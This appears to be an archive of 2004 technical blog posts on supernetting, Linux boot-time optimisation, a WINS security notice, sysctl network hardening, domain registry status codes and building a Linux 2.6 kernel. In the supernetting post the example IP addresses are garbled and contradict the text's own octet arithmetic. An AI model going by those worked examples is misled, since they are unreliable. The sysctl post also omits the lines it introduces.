* 120 ohm twisted pair cabling, typically foil shielded. This is called a balanced interface and uses a DB-15 or 8-pin modular connector.
* 75 ohm coaxial cable. This is called an unbalanced interface because the two conductors do not have an equal impedance to ground, and uses a BNC connector.
Sunday, December 05, 2004
Supernetting (known as CIDR, too) allows the use of multiple IP networks on the same interface. It is the reverse of subnetting, which allows the use of a single IP network on multiple interfaces.
Officially, supernetting is the term used when multiple network addresses of the same Class are combined into blocks. If the IP networks are contiguous, you may be able to use a supernet. If the IP networks are not contiguous, you would need to use sub-interfaces. These are not currently supported on Compatible Systems routers but are supported on routers from Cisco Systems.
A prerequisite for supernetting is that the network addresses be consecutive and that they fall on the correct boundaries. To combine two Class C networks, the first address' third octet must be evenly divisible by 2. If you would like to supernet 8 networks, the mask would be 255.255.248.0 and the first address' third octet needs to be evenly divisible by 8. For example, 188.8.131.52 and 184.108.40.206 could NOT be combined into a supernet, but you would be able to combine 220.127.116.11 and 18.104.22.168 into a supernet.
An IP address is a 32-bit number (4 bytes, called "octets", separated by periods, commonly called "dots.") Supernetting is most often used to combine Class C addresses (the first octet has values from 192 through 223). A single Class C IP network has 24 bits for the network portion of the IP address, and 8 bits for the host portion of the IP address. This gives a possibility of 256 hosts within a Class C IP network (2^8=256).
The subnet mask for a Class C IP network is normally 255.255.255.0. To use a supernet, the number of bits used for the subnet mask is REDUCED. For example, by using a 23 bit mask (255.255.254.0 -- 23 bits for the network portion of the IP network, and 9 bits for the host portion), you effectively create a single IP network with 512 addresses. Supernetting, or combining blocks of IP networks, is the basis for most routing protocols currently used on the Internet.
For Example: Two Class "C" network numbers of 22.214.171.124 and 126.96.36.199
The addresses pass the prerequisites. They are consecutive and the third octet of the first address is divisible by 2 (78 Mod 2 = 0). To further illustrate what is being done, let's look at the addresses in binary. The third octet of the first address (78) is 01001110. The second (79) is 01001111. The binaries are the same except for the last bit of the address (the 24th bit of the IP address). The 78 network is supernet 0 and the 79 network is supernet 1.
The subnet mask for this example supernet is 23 bits, or 255.255.254.0. ALL devices on the network MUST be using this subnet mask. Any device that is not using this subnet mask would be unreachable.
The broadcast address for ALL devices on the example supernet is 188.8.131.52. Most modern devices don't require you to fill out the broadcast address, as it can be deduced from the IP address and the subnet mask. The broadcast address is used as a special destination signifying ALL hosts on the network.
As with any IP network, the first number in the range (.0 in a class "C") has special significance, and can't be assigned to any hosts on the network. The first number in the range is referred to as the "network number". Conversely, the last, or highest number in the range (.255 in a class "C") is called the broadcast address, and also can't be used by any host on the network.
Because of these unique addresses, it would probably be wise not to use the 184.108.40.206 and 220.127.116.11 addresses (in the above example), even though these SHOULD be perfectly legal addresses for hosts when using a supernet.
There is one additional prerequisite for supernetting, you MUST EITHER be running static routing EVERYWHERE or be using a classless routing protocol such as RIP2 (or OSPF) which include subnet mask information and can pass supernetting information in order for this to work. Standard RIP does not transmit the subnet mask information.
If you are using Compatible Systems Routers then you should check that you are running a router ROM version later than 3.0.7 to have the supernetting feature fully implemented.
Thursday, December 02, 2004
Easily replace the init with a shell script based on /etc/rc.d/rc.sysinit and try to
tune it up as a result.
The results are pretty good I think, here is the general time line made
with a wallclock:
00: exit grub; start booting the kernel
04: kernel prints audit()
11: initrd is mounted; Red Hat nash visible
mount / ro (normal initrd procedure)
13: start bootchart logging; start readahead of approx 193MB files
sleep until readahead is complete
24: readahead done; now
create /dev and modprobe (in background)
mount / rw, enable swap
startx as user davidz in background
32: X claims the display
34: GNOME desktop banner
40: GNOME desktop is usable (Nautilus desktop, panel fully populated)
Here is a bootchart made with the bootchart software from Ziga Mahkovec:
Thanks to David as I said before, I'm writing from his works here:
"You may notice that you can also start firefox after login and it starts very
very fast that's because readahead loads all files used by Firefox
in earlier experiments. I've also added files from OpenOffice.org to
readahead and that meant I could start up OpenOffice.org Writer in about
three seconds. More below.
I've made the following observations
1. The kernel patch, linux-2.6.3-printopen.patch, wasn't really working
well for me - it reported far to few files - instead I added a
printk() to fs/namei.c:link_path_walk()
(disclaimer: I don't know much about the kernel so there may be a
better solution than this).
2. The data captured from link_path_walk() was massaged into a list
of unique files to preload and sorted on sectors.
3. While capturing the data link_path_walk() and before processing
I went through all the menus in the GNOME desktop (to make sure
their icon and desktop files would be added to the list) as well as
loading Firefox. The list contains 5189 unique files - 231 of these
from my home directory - 103 of these from gconf in my home
directory and 302 from gconf in /etc. 2267 were .png files and
814 of them were .desktop files. 488 files had ".so" in their name.
There was a total of 193MB of files (which says something about
the footprint of the GNOME desktop on Fedora :-/)
4. Doing the readahead really helped the time from startx till a
usable desktop - less than 10 seconds!
5. Doing readahead on the 5189 files took about 45 seconds on my
system, mostly because the files were scattered around the disk.
Since I had a spare partition 17GB partition, I did this:
a. format spare partition as ext3
b. copy all readahead files to spare partition (193MB)
c. copy rest of files from main partition to spare partition
Now the readahead is down to 11 seconds which averages out to
be 18MB/s. On the other hand, I can still see (using fileblock)
that the files in the readahead is still scattered out and hdparm
says I should be able to get 33.87 MB/sec with no seeks.
6. I made a hack to cache /dev (a dev.tar file) and the list of modules
to load. This could be used in production if the kernel could give
us basically a hash value for the kobject hierarchy representing
the hardware (perhaps even a 'tree /sys |md5sum' would suffice).
This shaved some seconds of as well.
7. A number of things was started in parallel - I found that doing
readahead while running modprobe wasn't helping anything; in fact
it contributed negatively to performance (a bit to my surprise, I
guess because the kernel was busy).
8. readahead on the right files is A Good Thing(tm). Booting my system
without readahead on the partition with the readahead files scattered
took 58 seconds (compared to 39 with readahead on the optimized
and without readahead on on the optimized partition it took 43
again compared to 39 seconds. As an added bonus, the readahead
makes sure that e.g Firefox loads fast; all .png and .desktop files
are in place for when using the menus. As mentioned, one could put
very big apps like e.g. OO.o in the readahead set.
So, I think these numbers are good and there's still some room for
improvement; e.g. it takes ten seconds from grub to when the initrd is
mounted - surely the kernel can boot faster? It's after all 25% of the
time spent from grub until I have usable desktop.
The bad thing is that this approach is highly specific to my system (and
thus why I'm not posting an RPM with it :-), however I think it clearly
shows where improvements should be made; here are some random thoughts
a. We should keep track of files being loaded and maintain the
readahead fileset as appropriate. printk() doesn't seem like the
right solution; perhaps a system daemon using inotify or the
kernel events layer is the road ahead? This would enable us to
readahead the KDE stuff if the user is e.g. using KDE a lot.
b. ext3 should support operations for moving blocks around; e.g.
optimize around the readahead fileset - when idle the system should
rearrange the files to facilitate faster booting
c. the start_udev and kmodule process could be cached as I did above
d. The whole init(1) procedure seems dated; perhaps something more
modern built on top of D-BUS is the right choice - SystemServices
by Seth Nickell comes to mind . Ideally services to be started
would have dependencies such as 1) don't start the gdm service
before /usr/bin/gdm is available; 2) the SSH service would only
be active when NetworkManager says there is a network connection;
/usr from LABEL=/usr would only be mounted when there is a volume
with that label and so forth. Also, such a system would of course
have support for LSB init scripts.
(This is probably a whole project on it's own so I'm omitting
detailed thinking on it for now)
Thanks a lot to Ziga Mahkovec for the bootchart software - it's been
Currently, the time to boot the Linux desktop from the point where the power switch is turned on, to the point where the user can start doing work is roughly two minutes.
During that time, there are basically three resources being used: the hard disk, the CPU, and the natural latency of external systems - the time it takes a monitor to respond to a DDC probe, the time it takes for the system to get an IP via DCHP, and so forth.
Ideally, system boot would involve a 3-4 second sequential read of around 100 megabytes of data from the hard disk, CPU utilization would be parallelized with that, and all queries on external systems would be asynchronous ... startup continues and once the external system responds, the system state is updated. Plausibly the user could start work under 10 seconds on this ideal system.
The challenge is to create a single poster showing graphically what is going on during the boot, what is the utilization of resources, how the current boot differs from the ideal world of 100% disk and CPU utilization, and thus, where are the opportunities for optimization.
So had a brief look at shortening startup/login time and tried
disabling rhgb in favor of starting gdm early. It looks pretty
promising; here are some wall-clock numbers from two runs of each
| gdm_early | rhgb+gdm |
GRUB timeout | 0:00 | 0:00 | 0:00 | 0:00 |
Starting udev | 0:13 | 0:13 | 0:13 | 0:14 |
HW init done | 0:25 | 0:25 | 0:26 | 0:26 |
rhgb visible | N/A | N/A | 0:36 | 0:35 |
gdm login visible | 0:43 | 0:44 | 1:25 | 1:26 |
gdm login entered | 0:52 | 0:52 | 1:31 | 1:32 |
GNOME banner visible | 1:13 | 1:14 | 1:40 | 1:41 |
Nautilus Background | 1:33 | 1:32 | 1:51 | 1:52 |
Panel visible | 1:43 | 1:43 | 2:02 | 2:02 |
HD activity off | 1:59 | 1:56 | 2:13 | 2:14 |
The milestones should be pretty self evident. This is on a stock FC3
system running on a IBM T41 1.6GHz (running on AC power), 512MB RAM
without any services manually disabled.
In addition to starting gdm early, the modifications also start up a few
services, D-BUS, HAL and NetworkManager, that is critical to the GNOME
Some random thoughts/observations:
- We get the gdm window 40 secs faster
- The 12 secs from "Starting udev" to "HW init done" can be mostly
shaved away/run in parallel
- Kernel bootstrap time (13 secs) can probably be much shorter
(that's what some kernel guys say anyway)
- With this hack we shave twenty secs of the booting time (e.g. from
GRUB until you can use your PC) but booting still feels much quicker
because of the interaction with gdm in the middle (YMMV; e.g. placebo
- rhgb+gdm spawns an X server each which is sort of stupid and unsafe
(or so some Xorg guys tell me). This solution, per design, avoids
- we don't get the kudzu screen nor the fsck screens or any other
console interactions. However, IMHO, such screens are not good UI
in the first place - we should instead have GUI replacemnts that
possibly notifies you when you log into the desktop session (stuff
like NetworkManager and HAL alleviates such problems for networking
and storage devices)
- we don't get service startup notification, but, uhmm, is it really
useful learning that the "Console Mouse Service" or "Printing Sub-
system" have started? Instead, this stuff could just be put in gdm
- it could be interesting to make /sbin/init own a D-BUS service that
gdm and other stuff can query and interact with. Could also be fun
to completely replace it with something a'la the SystemServices
prototype that Seth did last year; links
- Could be interesting to instrument the kernel with some pagefault
counters etc. and attempt do more readahead on e.g. the GNOME libs
(both Windows XP and Mac OS X does all that; I think we do too but
I've been told it can be improved)
So, anyway, I think it could be interesting to discuss starting gdm
instead of rhgb. If you want to try out my crude hack, grab the file
put it in on your system as /newinit.sh, chmod a+x it and change this
to these two lines
and you should be set to go! If it breaks you get to keep both pieces;
e.g. try this at your own risk .
Tuesday, November 30, 2004
Solution : Disable the “Hide extension for known file types” option.
By default, WINS is not installed on Windows NT Server 4.0, on Windows NT Server 4.0 Terminal Server Edition, on Windows 2000 Server, or on Windows Server 2003. By default, WINS is installed and running on Microsoft Small Business Server 2000 and on Microsoft Windows Small Business Server 2003. However, by default, on all versions of Microsoft Small Business Server, the WINS component communication ports are blocked from the Internet, and WINS is available only on the local network.
This security issue could make it possible for an attacker to remotely take control of a WINS server. As of November 26, 2004, Microsoft is not aware of any customers who have been affected by this security issue. Microsoft will continue to investigate this security issue to determine the appropriate steps to help protect the customers. Additionally, to help protect your computer against this security issue, follow the steps in http://support.microsoft.com/default.aspx?scid=kb;en-us;890710
Sunday, November 28, 2004
You may heard many times that some body tell to you: "Forget Windows and go to Linux up".I don't believe at all. I believe that "Windows may be less secure than Linux", but both of Windows & Linux can be & may be harmfull if you don't know what to do after installation & how tune it up.One thing that it seems Windows so bad is its networking architecture such as Domain Controllers, NetBT,... plus most popularity for home users & so many server side applications such as AAA.At the internet side, I believe both of Windows and Linux have vulnerability and what is the most interests for hackers about Windows is the private network and using Windows platforms as a bridge to the aim.I don't want to talk about OS or compare or so on.Just dump some methods that I'm using myself in FreeBSD and many of them working on NetBSD too. About Windows I wrote before and will write more.
Unix based OS have a usefull method for tunning & securing kernel called "sysclt",where /etc/sysctl.conf is its config file, but you may use sysctl from shell command prompt.
There are so many variables that can be changed for so many reasons such as tunning FileSystem, Networking,... using "sysctl".
Note that if you are using Samba in your network before tunning TCP variables read some notes at http://www.dd.iij4u.or.jp/~okuyamak/Documents/tuning.english.html first.
Then add these lines to /etc/sysctl.conf :
kern.ipc.nmbclusters="65536" (in /boot/loader.conf.local)
These are some Networking variables such as Socket buffer, TCP/UDP buffers and Max Open files(usefull for Web/Cache Servers), and some anti hack, flooding, spoofing methods, ...
About Linux add these lines to /etc/rc.local.
I comment out each line to know the reason why I did it.
# Drop ICMP echo-request messages sent to broadcast or multicast addresses
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts# Drop source routed packets
echo 0 > /proc/sys/net/ipv4/conf/all/accept_source_route# Enable TCP SYN cookie protection from SYN floods
echo 1 > /proc/sys/net/ipv4/tcp_syncookies# Don't accept ICMP redirect messages
echo 0 > /proc/sys/net/ipv4/conf/all/accept_redirects# Don't send ICMP redirect messages
echo 0 > /proc/sys/net/ipv4/conf/all/send_redirects# Enable source address spoofing protection
echo 1 > /proc/sys/net/ipv4/conf/all/rp_filter# Log packets with impossible source addresses
echo 1 > /proc/sys/net/ipv4/conf/all/log_martians
There are not all of that I'm doing, but the most popular.Depending on the server tasks & services you may have, add other kernel tunning variables.
Cool Websites about Data Storage:
Saturday, November 27, 2004
Below are the various domain status codes and a brief description of each (from RFC2832).
This is the default status of a domain at registration time. The registry sets the domain to this status. The domain is modifiable by the registrar. The domain can be renewed. The domain SHALL be included in the zone file when in this status if the domain has at least one associated name server.
The registry sets the domain to this status. The domain cannot be modified or deleted by the registrar. The registry MUST remove the REGISTRY-LOCK status for the registrar to modify the domain. The domain can be renewed. The domain SHALL be included in the zone file when in this status if the domain has at least one associated name server.
The registry sets the domain to this status. The domain cannot be modified or deleted by the registrar. The registry MUST remove the REGISTRY-HOLD status for the registrar to modify the domain. The domain can be renewed. The domain SHALL NOT be included in the zone file when in this status.
The registrar of the domain sets the domain to this status. The domain can not be modified or deleted when in this status. The registrar MUST remove REGISTRAR-HOLD status to modify the domain. The domain can be renewed. The domain SHALL NOT be included in the zone file when in this status.
The registrar of the domain sets the domain to this status. The domain cannot be modified or deleted when in this status. The registrar MUST remove REGISTRAR-LOCK status to modify the domain. The domain can be renewed. The domain SHALL be included in the zone file when in this status.
A domain is set on this status if it has expired and has child name servers that are hosting other domains. Only the registry may set this status. The domain SHALL be included in the zone file when in this status if the domain has at least one associated name server.
The domain deletion progresses through the following statuses:
A domain name is placed in REDEMPTIONPERIOD status when a registrar requests the deletion of a name that is not within the Add Grace Period. A name that is in REDEMPTIONPERIOD status will not be included in the zone file. A registrar can not modify or purge a name in REDEMPTIONPERIOD status. The only action a registrar can take on a name in REDEMPTIONPERIOD is to request that it be restored. Any other registrar requests to modify or otherwise update the domain will be rejected. Unless restored, the domain will be held in REDEMPTIONPERIOD status for a specified number of calendar days. The current length of this Redemption Period is thirty calendar days.
A domain name is placed in PENDINGDELETE status if it has not been restored during the Redemption Period. A name that is in PENDINGDELETE status will not be included in the zone file. All registrar requests to modify or otherwise update a domain in PENDINGDELETE status will be rejected. A domain name is purged from the registry database a specified number of calendar days after it is placed in PENDINGDELETE status. The current length of this Pending Delete Period is five calendar days.
A domain name is placed in PENDINGRESTORE status when a registrar requests restoration of a domain that is in REDEMPTIONPERIOD status. A name that is in PENDINGRESTORE status will be included in the zone file. Registrar requests to modify or otherwise update a domain in REDEMPTIONPERIOD status will be rejected. A domain name is returned to REDEMPTIONPERIOD status a specified number of calendar days after it is placed in PENDINGRESTORE unless the registrar submits a complete Registrar Restore Report to the Registry Operator. The current length of this Pending Restore Period is seven calendar days.
ICANN General Counsel's Briefing
Domain Status Reporter: Lookup registry status of global top level domains (freeware for Windows
Download the latest version of the kernel and any patches. This documentation is done with linux-2.6.3, but look for later versions :
Also take a look at http://www.codemonkey.org.uk/post-halloween-2.5.txt
This has some useful hints on some of the changes needed.
Download the latest version of module-init-tools "module-init-tools-3.0.tar.gz" and "modutils-2.4.21-23.src.rpm"
Install module-init-tools. This will replace depmod [/sbin/depmod] and other tools.
tar -zxvf module-init-tools-3.0.tar.gz cd module-init-tools-3.0 ./configure --prefix=/sbin make make install ./generate-modprobe.conf /etc/modprobe.conf
Install modutils-2.4.21-23.src.rpm. You may get warnings about user rusty and group rusty not existing. Also, yes, you'll have to force the install. If you don't do these steps for both Redhat 9 and Redhat 8, you'll have problems with the make modules_install.
rpm -i modutils-2.4.21-23.src.rpm rpmbuild -bb /usr/src/redhat/SPECS/modutils.spec rpm -Fi /usr/src/redhat/RPMS/i386/modutils-2.4.21-23.i386.rpm
Install and configure the kernel. Do NOT use the /usr/src/linux area! Reference the README. I put my files in /home/src/kernel/
gunzip linux-2.6.3.tar.gz tar -xvf linux-2.6.3.tar cd linux-2.6.3
If you have patches install these now:
bzip2 -dc ../patch-2.6.xx.bz2 patch -p1
Copy the appropriate /usr/src/linux-2.4/configs [kernel-2.4.20-i686.config, kernel-2.4.20-i686-smp.config] to .config in whatever directory you are installing. In my case it's /home/src/kernel/linux-2.6.3
cp /usr/src/linux-2.4/configs/kernel-2.4.20-i686.config \ /home/src/kernel/linux-2.6.3/.config
If you don't have the source configs, you can download them from here:
I've also included a file config2.6-chirico which was a 2.6 version for some of my systems. This isn't a bad reference if you run into trouble.
Assuming you copied the appropriate kernel-2.4 config to .config, run the following which will run through necessary questions for the 2.6 kernel. Or, you might want to use the config2.6-chirico...this has already been run through make oldconfig on my system, and I've answered the necessary questions for a general system.
This is very important. Make sure you're .config has the following in it CONFIG_EXT3_FS=y You'll run into the following error if you leave this =m instead of =y:
pivotroot: pivot_root(/sysroot,/sysroot/initrd) failed
This is because Redhat 9.0 and 8.0 use the ext3 filesystem for /boot ...
Edit the Makefile and add changes to the Extraversion as desired. Patches will update these values as well.
VERSION = 2 PATCHLEVEL = 6 SUBLEVEL = 3 EXTRAVERSION = -skim-ch6
If you come across errors here, what version of "depmod" is being picked up in your path?
Also, if you get a module not found, say the following: No module aic7xxx found for kernel 2.6.x Then, in /lib/modules/2.6.x/kernel/drivers/scsi/aic7xxx/ cp aic7xxx.ko aic7xxx.o
insmod should look for aic7xxx.ko ;but , it looks for aic7xxx.o
If you still have trouble, make the following change in the .config CONFIG_BLK_DEV_SD=y and go back to STEP 10.
You also may want to ref kernel-2.6.3-i686-smp-chirico-aic7xxx.config inhttp://prdownloads.sourceforge.net/souptonuts/configs-0.3.tar.gz?download
/etc/rc.sysinit needs to be modified. Look for the following line:
action $"Mounting proc filesystem: " mount -n -t proc /proc /proc
and after this line enter the following:
action $"Mounting sysfs filesystem: " mount -t sysfs none /sys
Here's my /etc/rc.sysinit for reference:
Be very careful at this step. Backup the /etc/rc.sysinit file.
Thomer [http://thomer.com/linux/migrate-to-2.6.html ] also added changes to /etc/fstab. I only had to do STEP 16 below.
Add the following to /etc/fstab for usb support.
/proc/bus/usb /proc/bus/usb usbdevfs defaults 0 0
STEP 17 (CHECKING EVERYTHING):
Check the following:
a. The new image file should be installed on boot and there should be sym link to it. My latest kernel is 2.6.3-skim-ch6, and I got the "-skim-ch6" from the values I put in the Makefile, so I see the following:
/boot vmlinuz -> vmlinuz-2.6.3-skim-ch6 System.map -> System.map-2.6.3-skim-ch6
/boot/grub/grub.conf Should have been automatically updated from make.
In /boot/grub/grub.conf change "default=0" to boot with the new kernel. Here's an example of my grub.conf:
# grub.conf generated by anaconda # # Note that you do not have to rerun grub after making # NOTICE: You have a /boot partition. This means that # all kernel and initrd paths are relative to # root (hd0,2) # kernel /vmlinuz-version ro root=/dev/hda6 # initrd /initrd-version.img #boot=/dev/hda default=0 timeout=10 splashimage=(hd0,2)/grub/splash.xpm.gz title Red Hat Linux (2.6.3-skim-ch6) root (hd0,2) kernel /vmlinuz-2.6.3-skim-ch6 ro root=LABEL=/ initrd /initrd-2.6.3-skim-ch6.img
b. The directory /sys exists
c. You added the mount command for sys in /etc/rc.sysinit
d. CONFIG_EXT3_FS=y was used in the .config
e. Run /sbin/lsmod or cat /proc/modules to make sure a 2.4 kernel module wasn't forgotten. Also look at "$cat /proc/iomem"
STEP 18 (DEVELOP YOUR OWN 2.6 MODULES):
You're done with the 2.6 build. So learn how to develop 2.6 kernel modules. First, checkout the following article
Then, take a look at the following sample code, which shows how to create /proc entries for communicating with the kernel and writing out to any available tty device.
KERNEL DRIVER DEVELOPMENT IN 2.6:
Excellent (series of articles): http://lwn.net/Articles/driver-porting/
Here's my sample program: http://prdownloads.sourceforge.net/cpearls/procreadwrite.0.0.1a.tar.gz?download
Good but dated for 2.4 kernel: http://www.oreilly.com/catalog/linuxdrive2/